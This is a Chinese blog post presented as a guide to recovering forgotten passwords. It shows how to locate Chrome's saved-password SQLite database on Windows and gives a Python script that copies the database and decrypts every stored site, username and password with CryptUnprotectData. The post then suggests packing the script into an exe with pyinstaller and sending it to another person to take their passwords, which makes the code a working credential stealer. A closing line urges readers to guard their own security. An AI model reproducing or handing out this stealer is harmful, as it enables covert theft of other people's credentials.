密码忘了?不要紧,Python轻松给你找回来!

    技术2022-07-11  96

    前言

     

     

    现如今浏览器可谓是五花八门,火狐、UC、360、QQ 这些浏览器不论美观还是所谓的安全方面都做的很符合我们需求。但如果你的工作与 IT 挂钩,无疑 Chrome 将是很多朋友的首选。当然这篇文章并不是要介绍 Chrome 浏览器的使用,首先我要讲的是 Chrome 浏览器的密码存储机制。

     

    1.查看 Chrome 存储的密码表单

     

     

    点击 Chrome 浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在 Chrome 浏览器中输入 **chrome://settings/passwords** 你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码,看到这里是不是觉得很简单?但如果我们能像电影里的黑客一样瞬间拿到其他电脑的密码岂不是更有趣?

     

    2 . SQLite 在哪,又该怎么查询?

     

     

    那么, Chrome 的密码是以什么方式进行存储的呢?答案就是用  “SQLite” 。首先,进入我的电脑,地址栏中输入以下代码,进入 app 的数据存储路径:

      C:\Users\Administrator\AppData\Local

    之后进入 chrome 浏览器的密码数据库统一地址为:

      Google\Chrome\User Data\Default\Login Data

     

    3.查看 Chrome 浏览器存储的密码

     

     

    拿到了 SQLite 数据库文件,我们随便找个 sqlite 工具,就能打开这个数据库了!

     

    打开数据库,我们看到有三张表:logins 、meta、 stats,其中 logins 中就存储着你保存的网址、用户名、密码数据,分别是: signon_realm,username_value,password_value,但问题来了 password_value 的字段看着是空的,因为那里被加密了。

     

    CryptUnprotectData 数据可以在 win32crypt 中找到,要使用该模块,需要以下代码进行安装:

      pip install pywin32

     

    4.准备工作做好后,就开始代码环节吧~

     

     

                         import osimport shutilimport sqlite3import win32crypt db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data') tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')print(tmp_file)if os.path.exists(tmp_file): os.remove(tmp_file)shutil.copyfile(db_file_path, tmp_file) conn = sqlite3.connect(tmp_file)for row in conn.execute('select signon_realm,username_value,password_value from logins'): ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0) print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk'))) conn.close()os.remove(tmp_file)

    通过解密,我们获取到了 Chrome 浏览器保存的用户名密码,然后保存至文本。

    之后我们只需要使用 **pyinstaller -F xxx.py** ,将代码打包成 exe 发给对方,就可以在他的电脑上获取密码了!虽然这个伪黑客很简单甚至有些鸡肋,但往往在一些事情上就是因为自身的大意而导致数据的泄露,在这里也要加强自身保密意识!Chrome 浏览器保存密码虽然很爽,但记在脑子里还是最安全哟~

    Processed: 0.009, SQL: 9